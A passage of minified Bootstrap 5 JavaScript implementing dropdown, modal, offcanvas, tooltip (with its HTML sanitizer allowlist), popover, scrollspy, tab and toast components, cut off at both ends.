s._selectMenuItem(t)):void(e&&"Space"!==t.key||pt.clearMenus());s.hide()}}H.on(document,"keydown.bs.dropdown.data-api",'[data-bs-toggle="dropdown"]',pt.dataApiKeydownHandler),H.on(document,"keydown.bs.dropdown.data-api",".dropdown-menu",pt.dataApiKeydownHandler),H.on(document,"click.bs.dropdown.data-api",pt.clearMenus),H.on(document,"keyup.bs.dropdown.data-api",pt.clearMenus),H.on(document,"click.bs.dropdown.data-api",'[data-bs-toggle="dropdown"]',(function(t){t.preventDefault(),pt.getOrCreateInstance(this).toggle()})),b(pt);class ft{constructor(){this._element=document.body}getWidth(){const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)}hide(){const t=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,"paddingRight",e=>e+t),this._setElementAttributes(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top","paddingRight",e=>e+t),this._setElementAttributes(".sticky-top","marginRight",e=>e-t)}_disableOverFlow(){this._saveInitialAttribute(this._element,"overflow"),this._element.style.overflow="hidden"}_setElementAttributes(t,e,i){const s=this.getWidth();this._applyManipulationCallback(t,t=>{if(t!==this._element&&window.innerWidth>t.clientWidth+s)return;this._saveInitialAttribute(t,e);const n=window.getComputedStyle(t)[e];t.style[e]=i(Number.parseFloat(n))+"px"})}reset(){this._resetElementAttributes(this._element,"overflow"),this._resetElementAttributes(this._element,"paddingRight"),this._resetElementAttributes(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top","paddingRight"),this._resetElementAttributes(".sticky-top","marginRight")}_saveInitialAttribute(t,e){const i=t.style[e];i&&K.setDataAttribute(t,e,i)}_resetElementAttributes(t,e){this._applyManipulationCallback(t,t=>{const i=K.getDataAttribute(t,e);void 0===i?t.style.removeProperty(e):(K.removeDataAttribute(t,e),t.style[e]=i)})}_applyManipulationCallback(t,e){a(t)?e(t):V.find(t,this._element).forEach(e)}isOverflowing(){return this.getWidth()>0}}const _t={className:"modal-backdrop",isVisible:!0,isAnimated:!1,rootElement:"body",clickCallback:null},mt={className:"string",isVisible:"boolean",isAnimated:"boolean",rootElement:"(element|string)",clickCallback:"(function|null)"};class bt{constructor(t){this._config=this._getConfig(t),this._isAppended=!1,this._element=null}show(t){this._config.isVisible?(this._append(),this._config.isAnimated&&p(this._getElement()),this._getElement().classList.add("show"),this._emulateAnimation(()=>{v(t)})):v(t)}hide(t){this._config.isVisible?(this._getElement().classList.remove("show"),this._emulateAnimation(()=>{this.dispose(),v(t)})):v(t)}_getElement(){if(!this._element){const t=document.createElement("div");t.className=this._config.className,this._config.isAnimated&&t.classList.add("fade"),this._element=t}return this._element}_getConfig(t){return(t={..._t,..."object"==typeof t?t:{}}).rootElement=l(t.rootElement),c("backdrop",t,mt),t}_append(){this._isAppended||(this._config.rootElement.append(this._getElement()),H.on(this._getElement(),"mousedown.bs.backdrop",()=>{v(this._config.clickCallback)}),this._isAppended=!0)}dispose(){this._isAppended&&(H.off(this._element,"mousedown.bs.backdrop"),this._element.remove(),this._isAppended=!1)}_emulateAnimation(t){y(t,this._getElement(),this._config.isAnimated)}}const vt={trapElement:null,autofocus:!0},yt={trapElement:"element",autofocus:"boolean"};class wt{constructor(t){this._config=this._getConfig(t),this._isActive=!1,this._lastTabNavDirection=null}activate(){const{trapElement:t,autofocus:e}=this._config;this._isActive||(e&&t.focus(),H.off(document,".bs.focustrap"),H.on(document,"focusin.bs.focustrap",t=>this._handleFocusin(t)),H.on(document,"keydown.tab.bs.focustrap",t=>this._handleKeydown(t)),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,H.off(document,".bs.focustrap"))}_handleFocusin(t){const{target:e}=t,{trapElement:i}=this._config;if(e===document||e===i||i.contains(e))return;const s=V.focusableChildren(i);0===s.length?i.focus():"backward"===this._lastTabNavDirection?s[s.length-1].focus():s[0].focus()}_handleKeydown(t){"Tab"===t.key&&(this._lastTabNavDirection=t.shiftKey?"backward":"forward")}_getConfig(t){return t={...vt,..."object"==typeof t?t:{}},c("focustrap",t,yt),t}}const Et={backdrop:!0,keyboard:!0,focus:!0},At={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean"};class Tt extends R{constructor(t,e){super(t),this._config=this._getConfig(e),this._dialog=V.findOne(".modal-dialog",this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._ignoreBackdropClick=!1,this._isTransitioning=!1,this._scrollBar=new ft}static get Default(){return Et}static get NAME(){return"modal"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||this._isTransitioning||H.trigger(this._element,"show.bs.modal",{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._isAnimated()&&(this._isTransitioning=!0),this._scrollBar.hide(),document.body.classList.add("modal-open"),this._adjustDialog(),this._setEscapeEvent(),this._setResizeEvent(),H.on(this._dialog,"mousedown.dismiss.bs.modal",()=>{H.one(this._element,"mouseup.dismiss.bs.modal",t=>{t.target===this._element&&(this._ignoreBackdropClick=!0)})}),this._showBackdrop(()=>this._showElement(t)))}hide(){if(!this._isShown||this._isTransitioning)return;if(H.trigger(this._element,"hide.bs.modal").defaultPrevented)return;this._isShown=!1;const t=this._isAnimated();t&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),this._focustrap.deactivate(),this._element.classList.remove("show"),H.off(this._element,"click.dismiss.bs.modal"),H.off(this._dialog,"mousedown.dismiss.bs.modal"),this._queueCallback(()=>this._hideModal(),this._element,t)}dispose(){[window,this._dialog].forEach(t=>H.off(t,".bs.modal")),this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new bt({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new wt({trapElement:this._element})}_getConfig(t){return t={...Et,...K.getDataAttributes(this._element),..."object"==typeof t?t:{}},c("modal",t,At),t}_showElement(t){const e=this._isAnimated(),i=V.findOne(".modal-body",this._dialog);this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.append(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.scrollTop=0,i&&(i.scrollTop=0),e&&p(this._element),this._element.classList.add("show"),this._queueCallback(()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,H.trigger(this._element,"shown.bs.modal",{relatedTarget:t})},this._dialog,e)}_setEscapeEvent(){this._isShown?H.on(this._element,"keydown.dismiss.bs.modal",t=>{this._config.keyboard&&"Escape"===t.key?(t.preventDefault(),this.hide()):this._config.keyboard||"Escape"!==t.key||this._triggerBackdropTransition()}):H.off(this._element,"keydown.dismiss.bs.modal")}_setResizeEvent(){this._isShown?H.on(window,"resize.bs.modal",()=>this._adjustDialog()):H.off(window,"resize.bs.modal")}_hideModal(){this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._backdrop.hide(()=>{document.body.classList.remove("modal-open"),this._resetAdjustments(),this._scrollBar.reset(),H.trigger(this._element,"hidden.bs.modal")})}_showBackdrop(t){H.on(this._element,"click.dismiss.bs.modal",t=>{this._ignoreBackdropClick?this._ignoreBackdropClick=!1:t.target===t.currentTarget&&(!0===this._config.backdrop?this.hide():"static"===this._config.backdrop&&this._triggerBackdropTransition())}),this._backdrop.show(t)}_isAnimated(){return this._element.classList.contains("fade")}_triggerBackdropTransition(){if(H.trigger(this._element,"hidePrevented.bs.modal").defaultPrevented)return;const{classList:t,scrollHeight:e,style:i}=this._element,s=e>document.documentElement.clientHeight;!s&&"hidden"===i.overflowY||t.contains("modal-static")||(s||(i.overflowY="hidden"),t.add("modal-static"),this._queueCallback(()=>{t.remove("modal-static"),s||this._queueCallback(()=>{i.overflowY=""},this._dialog)},this._dialog),this._element.focus())}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._scrollBar.getWidth(),i=e>0;(!i&&t&&!m()||i&&!t&&m())&&(this._element.style.paddingLeft=e+"px"),(i&&!t&&!m()||!i&&t&&m())&&(this._element.style.paddingRight=e+"px")}_resetAdjustments(){this._element.style.paddingLeft="",this._element.style.paddingRight=""}static jQueryInterface(t,e){return this.each((function(){const i=Tt.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t](e)}}))}}H.on(document,"click.bs.modal.data-api",'[data-bs-toggle="modal"]',(function(t){const e=o(this);["A","AREA"].includes(this.tagName)&&t.preventDefault(),H.one(e,"show.bs.modal",t=>{t.defaultPrevented||H.one(e,"hidden.bs.modal",()=>{h(this)&&this.focus()})}),Tt.getOrCreateInstance(e).toggle(this)})),F(Tt),b(Tt);const Ct={backdrop:!0,keyboard:!0,scroll:!1},kt={backdrop:"boolean",keyboard:"boolean",scroll:"boolean"};class Lt extends R{constructor(t,e){super(t),this._config=this._getConfig(e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get NAME(){return"offcanvas"}static get Default(){return Ct}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||H.trigger(this._element,"show.bs.offcanvas",{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._element.style.visibility="visible",this._backdrop.show(),this._config.scroll||(new ft).hide(),this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.classList.add("show"),this._queueCallback(()=>{this._config.scroll||this._focustrap.activate(),H.trigger(this._element,"shown.bs.offcanvas",{relatedTarget:t})},this._element,!0))}hide(){this._isShown&&(H.trigger(this._element,"hide.bs.offcanvas").defaultPrevented||(this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.remove("show"),this._backdrop.hide(),this._queueCallback(()=>{this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._element.style.visibility="hidden",this._config.scroll||(new ft).reset(),H.trigger(this._element,"hidden.bs.offcanvas")},this._element,!0)))}dispose(){this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}_getConfig(t){return t={...Ct,...K.getDataAttributes(this._element),..."object"==typeof t?t:{}},c("offcanvas",t,kt),t}_initializeBackDrop(){return new bt({className:"offcanvas-backdrop",isVisible:this._config.backdrop,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:()=>this.hide()})}_initializeFocusTrap(){return new wt({trapElement:this._element})}_addEventListeners(){H.on(this._element,"keydown.dismiss.bs.offcanvas",t=>{this._config.keyboard&&"Escape"===t.key&&this.hide()})}static jQueryInterface(t){return this.each((function(){const e=Lt.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}H.on(document,"click.bs.offcanvas.data-api",'[data-bs-toggle="offcanvas"]',(function(t){const e=o(this);if(["A","AREA"].includes(this.tagName)&&t.preventDefault(),d(this))return;H.one(e,"hidden.bs.offcanvas",()=>{h(this)&&this.focus()});const i=V.findOne(".offcanvas.show");i&&i!==e&&Lt.getInstance(i).hide(),Lt.getOrCreateInstance(e).toggle(this)})),H.on(window,"load.bs.offcanvas.data-api",()=>V.find(".offcanvas.show").forEach(t=>Lt.getOrCreateInstance(t).show())),F(Lt),b(Lt);const St=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]),Ot=/^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/i,Nt=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i,Dt=(t,e)=>{const i=t.nodeName.toLowerCase();if(e.includes(i))return!St.has(i)||Boolean(Ot.test(t.nodeValue)||Nt.test(t.nodeValue));const s=e.filter(t=>t instanceof RegExp);for(let t=0,e=s.length;t<e;t++)if(s[t].test(i))return!0;return!1};function It(t,e,i){if(!t.length)return t;if(i&&"function"==typeof i)return i(t);const s=(new window.DOMParser).parseFromString(t,"text/html"),n=Object.keys(e),o=[].concat(...s.body.querySelectorAll("*"));for(let t=0,i=o.length;t<i;t++){const i=o[t],s=i.nodeName.toLowerCase();if(!n.includes(s)){i.remove();continue}const r=[].concat(...i.attributes),a=[].concat(e["*"]||[],e[s]||[]);r.forEach(t=>{Dt(t,a)||i.removeAttribute(t.nodeName)})}return s.body.innerHTML}const xt=new Set(["sanitize","allowList","sanitizeFn"]),Pt={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(array|string|function)",container:"(string|element|boolean)",fallbackPlacements:"array",boundary:"(string|element)",customClass:"(string|function)",sanitize:"boolean",sanitizeFn:"(null|function)",allowList:"object",popperConfig:"(null|object|function)"},Mt={AUTO:"auto",TOP:"top",RIGHT:m()?"left":"right",BOTTOM:"bottom",LEFT:m()?"right":"left"},jt={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:[0,0],container:!1,fallbackPlacements:["top","right","bottom","left"],boundary:"clippingParents",customClass:"",sanitize:!0,sanitizeFn:null,allowList:{"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},popperConfig:null},Ht={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"};class Bt extends R{constructor(t,e){if(void 0===i)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");super(t),this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this._config=this._getConfig(e),this.tip=null,this._setListeners()}static get Default(){return jt}static get NAME(){return"tooltip"}static get Event(){return Ht}static get DefaultType(){return Pt}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(t){if(this._isEnabled)if(t){const e=this._initializeOnDelegatedTarget(t);e._activeTrigger.click=!e._activeTrigger.click,e._isWithActiveTrigger()?e._enter(null,e):e._leave(null,e)}else{if(this.getTipElement().classList.contains("show"))return void this._leave(null,this);this._enter(null,this)}}dispose(){clearTimeout(this._timeout),H.off(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this.tip&&this.tip.remove(),this._popper&&this._popper.destroy(),super.dispose()}show(){if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(!this.isWithContent()||!this._isEnabled)return;const t=H.trigger(this._element,this.constructor.Event.SHOW),e=u(this._element),s=null===e?this._element.ownerDocument.documentElement.contains(this._element):e.contains(this._element);if(t.defaultPrevented||!s)return;const n=this.getTipElement(),o=(t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t})(this.constructor.NAME);n.setAttribute("id",o),this._element.setAttribute("aria-describedby",o),this._config.animation&&n.classList.add("fade");const r="function"==typeof this._config.placement?this._config.placement.call(this,n,this._element):this._config.placement,a=this._getAttachment(r);this._addAttachmentClass(a);const{container:l}=this._config;z.set(n,this.constructor.DATA_KEY,this),this._element.ownerDocument.documentElement.contains(this.tip)||(l.append(n),H.trigger(this._element,this.constructor.Event.INSERTED)),this._popper?this._popper.update():this._popper=i.createPopper(this._element,n,this._getPopperConfig(a)),n.classList.add("show");const c=this._resolvePossibleFunction(this._config.customClass);c&&n.classList.add(...c.split(" ")),"ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>{H.on(t,"mouseover",g)});const h=this.tip.classList.contains("fade");this._queueCallback(()=>{const t=this._hoverState;this._hoverState=null,H.trigger(this._element,this.constructor.Event.SHOWN),"out"===t&&this._leave(null,this)},this.tip,h)}hide(){if(!this._popper)return;const t=this.getTipElement();if(H.trigger(this._element,this.constructor.Event.HIDE).defaultPrevented)return;t.classList.remove("show"),"ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>H.off(t,"mouseover",g)),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1;const e=this.tip.classList.contains("fade");this._queueCallback(()=>{this._isWithActiveTrigger()||("show"!==this._hoverState&&t.remove(),this._cleanTipClass(),this._element.removeAttribute("aria-describedby"),H.trigger(this._element,this.constructor.Event.HIDDEN),this._popper&&(this._popper.destroy(),this._popper=null))},this.tip,e),this._hoverState=""}update(){null!==this._popper&&this._popper.update()}isWithContent(){return Boolean(this.getTitle())}getTipElement(){if(this.tip)return this.tip;const t=document.createElement("div");t.innerHTML=this._config.template;const e=t.children[0];return this.setContent(e),e.classList.remove("fade","show"),this.tip=e,this.tip}setContent(t){this._sanitizeAndSetContent(t,this.getTitle(),".tooltip-inner")}_sanitizeAndSetContent(t,e,i){const s=V.findOne(i,t);e||!s?this.setElementContent(s,e):s.remove()}setElementContent(t,e){if(null!==t)return a(e)?(e=l(e),void(this._config.html?e.parentNode!==t&&(t.innerHTML="",t.append(e)):t.textContent=e.textContent)):void(this._config.html?(this._config.sanitize&&(e=It(e,this._config.allowList,this._config.sanitizeFn)),t.innerHTML=e):t.textContent=e)}getTitle(){const t=this._element.getAttribute("data-bs-original-title")||this._config.title;return this._resolvePossibleFunction(t)}updateAttachment(t){return"right"===t?"end":"left"===t?"start":t}_initializeOnDelegatedTarget(t,e){return e||this.constructor.getOrCreateInstance(t.delegateTarget,this._getDelegateConfig())}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map(t=>Number.parseInt(t,10)):"function"==typeof t?e=>t(e,this._element):t}_resolvePossibleFunction(t){return"function"==typeof t?t.call(this._element):t}_getPopperConfig(t){const e={placement:t,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"onChange",enabled:!0,phase:"afterWrite",fn:t=>this._handlePopperPlacementChange(t)}],onFirstUpdate:t=>{t.options.placement!==t.placement&&this._handlePopperPlacementChange(t)}};return{...e,..."function"==typeof this._config.popperConfig?this._config.popperConfig(e):this._config.popperConfig}}_addAttachmentClass(t){this.getTipElement().classList.add(`${this._getBasicClassPrefix()}-${this.updateAttachment(t)}`)}_getAttachment(t){return Mt[t.toUpperCase()]}_setListeners(){this._config.trigger.split(" ").forEach(t=>{if("click"===t)H.on(this._element,this.constructor.Event.CLICK,this._config.selector,t=>this.toggle(t));else if("manual"!==t){const e="hover"===t?this.constructor.Event.MOUSEENTER:this.constructor.Event.FOCUSIN,i="hover"===t?this.constructor.Event.MOUSELEAVE:this.constructor.Event.FOCUSOUT;H.on(this._element,e,this._config.selector,t=>this._enter(t)),H.on(this._element,i,this._config.selector,t=>this._leave(t))}}),this._hideModalHandler=()=>{this._element&&this.hide()},H.on(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this._config.selector?this._config={...this._config,trigger:"manual",selector:""}:this._fixTitle()}_fixTitle(){const t=this._element.getAttribute("title"),e=typeof this._element.getAttribute("data-bs-original-title");(t||"string"!==e)&&(this._element.setAttribute("data-bs-original-title",t||""),!t||this._element.getAttribute("aria-label")||this._element.textContent||this._element.setAttribute("aria-label",t),this._element.setAttribute("title",""))}_enter(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),e.getTipElement().classList.contains("show")||"show"===e._hoverState?e._hoverState="show":(clearTimeout(e._timeout),e._hoverState="show",e._config.delay&&e._config.delay.show?e._timeout=setTimeout(()=>{"show"===e._hoverState&&e.show()},e._config.delay.show):e.show())}_leave(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusout"===t.type?"focus":"hover"]=e._element.contains(t.relatedTarget)),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState="out",e._config.delay&&e._config.delay.hide?e._timeout=setTimeout(()=>{"out"===e._hoverState&&e.hide()},e._config.delay.hide):e.hide())}_isWithActiveTrigger(){for(const t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1}_getConfig(t){const e=K.getDataAttributes(this._element);return Object.keys(e).forEach(t=>{xt.has(t)&&delete e[t]}),(t={...this.constructor.Default,...e,..."object"==typeof t&&t?t:{}}).container=!1===t.container?document.body:l(t.container),"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),c("tooltip",t,this.constructor.DefaultType),t.sanitize&&(t.template=It(t.template,t.allowList,t.sanitizeFn)),t}_getDelegateConfig(){const t={};for(const e in this._config)this.constructor.Default[e]!==this._config[e]&&(t[e]=this._config[e]);return t}_cleanTipClass(){const t=this.getTipElement(),e=new RegExp(`(^|\\s)${this._getBasicClassPrefix()}\\S+`,"g"),i=t.getAttribute("class").match(e);null!==i&&i.length>0&&i.map(t=>t.trim()).forEach(e=>t.classList.remove(e))}_getBasicClassPrefix(){return"bs-tooltip"}_handlePopperPlacementChange(t){const{state:e}=t;e&&(this.tip=e.elements.popper,this._cleanTipClass(),this._addAttachmentClass(this._getAttachment(e.placement)))}static jQueryInterface(t){return this.each((function(){const e=Bt.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}b(Bt);const zt={...Bt.Default,placement:"right",offset:[0,8],trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="popover-arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'},Rt={...Bt.DefaultType,content:"(string|element|function)"},Ft={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"};class Wt extends Bt{static get Default(){return zt}static get NAME(){return"popover"}static get Event(){return Ft}static get DefaultType(){return Rt}isWithContent(){return this.getTitle()||this._getContent()}setContent(t){this._sanitizeAndSetContent(t,this.getTitle(),".popover-header"),this._sanitizeAndSetContent(t,this._getContent(),".popover-body")}_getContent(){return this._resolvePossibleFunction(this._config.content)}_getBasicClassPrefix(){return"bs-popover"}static jQueryInterface(t){return this.each((function(){const e=Wt.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}b(Wt);const $t={offset:10,method:"auto",target:""},qt={offset:"number",method:"string",target:"(string|element)"},Ut=".nav-link, .list-group-item, .dropdown-item";class Kt extends R{constructor(t,e){super(t),this._scrollElement="BODY"===this._element.tagName?window:this._element,this._config=this._getConfig(e),this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,H.on(this._scrollElement,"scroll.bs.scrollspy",()=>this._process()),this.refresh(),this._process()}static get Default(){return $t}static get NAME(){return"scrollspy"}refresh(){const t=this._scrollElement===this._scrollElement.window?"offset":"position",e="auto"===this._config.method?t:this._config.method,i="position"===e?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),V.find(Ut,this._config.target).map(t=>{const s=n(t),o=s?V.findOne(s):null;if(o){const t=o.getBoundingClientRect();if(t.width||t.height)return[K[e](o).top+i,s]}return null}).filter(t=>t).sort((t,e)=>t[0]-e[0]).forEach(t=>{this._offsets.push(t[0]),this._targets.push(t[1])})}dispose(){H.off(this._scrollElement,".bs.scrollspy"),super.dispose()}_getConfig(t){return(t={...$t,...K.getDataAttributes(this._element),..."object"==typeof t&&t?t:{}}).target=l(t.target)||document.documentElement,c("scrollspy",t,qt),t}_getScrollTop(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop}_getScrollHeight(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)}_getOffsetHeight(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height}_process(){const t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),i=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=i){const t=this._targets[this._targets.length-1];this._activeTarget!==t&&this._activate(t)}else{if(this._activeTarget&&t<this._offsets[0]&&this._offsets[0]>0)return this._activeTarget=null,void this._clear();for(let e=this._offsets.length;e--;)this._activeTarget!==this._targets[e]&&t>=this._offsets[e]&&(void 0===this._offsets[e+1]||t<this._offsets[e+1])&&this._activate(this._targets[e])}}_activate(t){this._activeTarget=t,this._clear();const e=Ut.split(",").map(e=>`${e}[data-bs-target="${t}"],${e}[href="${t}"]`),i=V.findOne(e.join(","),this._config.target);i.classList.add("active"),i.classList.contains("dropdown-item")?V.findOne(".dropdown-toggle",i.closest(".dropdown")).classList.add("active"):V.parents(i,".nav, .list-group").forEach(t=>{V.prev(t,".nav-link, .list-group-item").forEach(t=>t.classList.add("active")),V.prev(t,".nav-item").forEach(t=>{V.children(t,".nav-link").forEach(t=>t.classList.add("active"))})}),H.trigger(this._scrollElement,"activate.bs.scrollspy",{relatedTarget:t})}_clear(){V.find(Ut,this._config.target).filter(t=>t.classList.contains("active")).forEach(t=>t.classList.remove("active"))}static jQueryInterface(t){return this.each((function(){const e=Kt.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}H.on(window,"load.bs.scrollspy.data-api",()=>{V.find('[data-bs-spy="scroll"]').forEach(t=>new Kt(t))}),b(Kt);class Vt extends R{static get NAME(){return"tab"}show(){if(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&this._element.classList.contains("active"))return;let t;const e=o(this._element),i=this._element.closest(".nav, .list-group");if(i){const e="UL"===i.nodeName||"OL"===i.nodeName?":scope > li > .active":".active";t=V.find(e,i),t=t[t.length-1]}const s=t?H.trigger(t,"hide.bs.tab",{relatedTarget:this._element}):null;if(H.trigger(this._element,"show.bs.tab",{relatedTarget:t}).defaultPrevented||null!==s&&s.defaultPrevented)return;this._activate(this._element,i);const n=()=>{H.trigger(t,"hidden.bs.tab",{relatedTarget:this._element}),H.trigger(this._element,"shown.bs.tab",{relatedTarget:t})};e?this._activate(e,e.parentNode,n):n()}_activate(t,e,i){const s=(!e||"UL"!==e.nodeName&&"OL"!==e.nodeName?V.children(e,".active"):V.find(":scope > li > .active",e))[0],n=i&&s&&s.classList.contains("fade"),o=()=>this._transitionComplete(t,s,i);s&&n?(s.classList.remove("show"),this._queueCallback(o,t,!0)):o()}_transitionComplete(t,e,i){if(e){e.classList.remove("active");const t=V.findOne(":scope > .dropdown-menu .active",e.parentNode);t&&t.classList.remove("active"),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!1)}t.classList.add("active"),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),p(t),t.classList.contains("fade")&&t.classList.add("show");let s=t.parentNode;if(s&&"LI"===s.nodeName&&(s=s.parentNode),s&&s.classList.contains("dropdown-menu")){const e=t.closest(".dropdown");e&&V.find(".dropdown-toggle",e).forEach(t=>t.classList.add("active")),t.setAttribute("aria-expanded",!0)}i&&i()}static jQueryInterface(t){return this.each((function(){const e=Vt.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}H.on(document,"click.bs.tab.data-api",'[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]',(function(t){["A","AREA"].includes(this.tagName)&&t.preventDefault(),d(this)||Vt.getOrCreateInstance(this).show()})),b(Vt);const Xt={animation:"boolean",autohide:"boolean",delay:"number"},Yt={animation:!0,autohide:!0,delay:5e3};class Qt extends R{constructor(t,e){super(t),this._config=this._getConfig(e),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get DefaultType(){return Xt}static get Default(){return Yt}static get NAME(){return"toast"}show(){H.trigger(this._element,"show.bs.toast").defaultPrevented||(this._clearTimeout(),this._config.animation&&this._element.classList.add("fade"),this._element.classList.remove("hide"),p(this._element),this._element.classList.add("show"),this._element.classList.add("showing"),this._queueCallback(()=>{this._element.classList.remove("showing"),H.trigger(this._element,"shown.bs.toast"),this._maybeScheduleHide()},this._element,this._config.animation))}hide(){this._element.classList.contains("show")&&(H.trigger(this._element,"hide.bs.toast").defaultPrevented||(this._element.classList.add("showing"),this._queueCallback(()=>{this._element.classList.add("hide"),this._element.classList.remove("showing"),this._element.classList.remove("show"),H.trigger(this._element,"hidden.bs.toast")},this._element,this._config.animation)))}dispose(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),super.dispose()}_getConfig(t){return t={...Yt,...K.getDataAttributes(this._element),..."object"==typeof 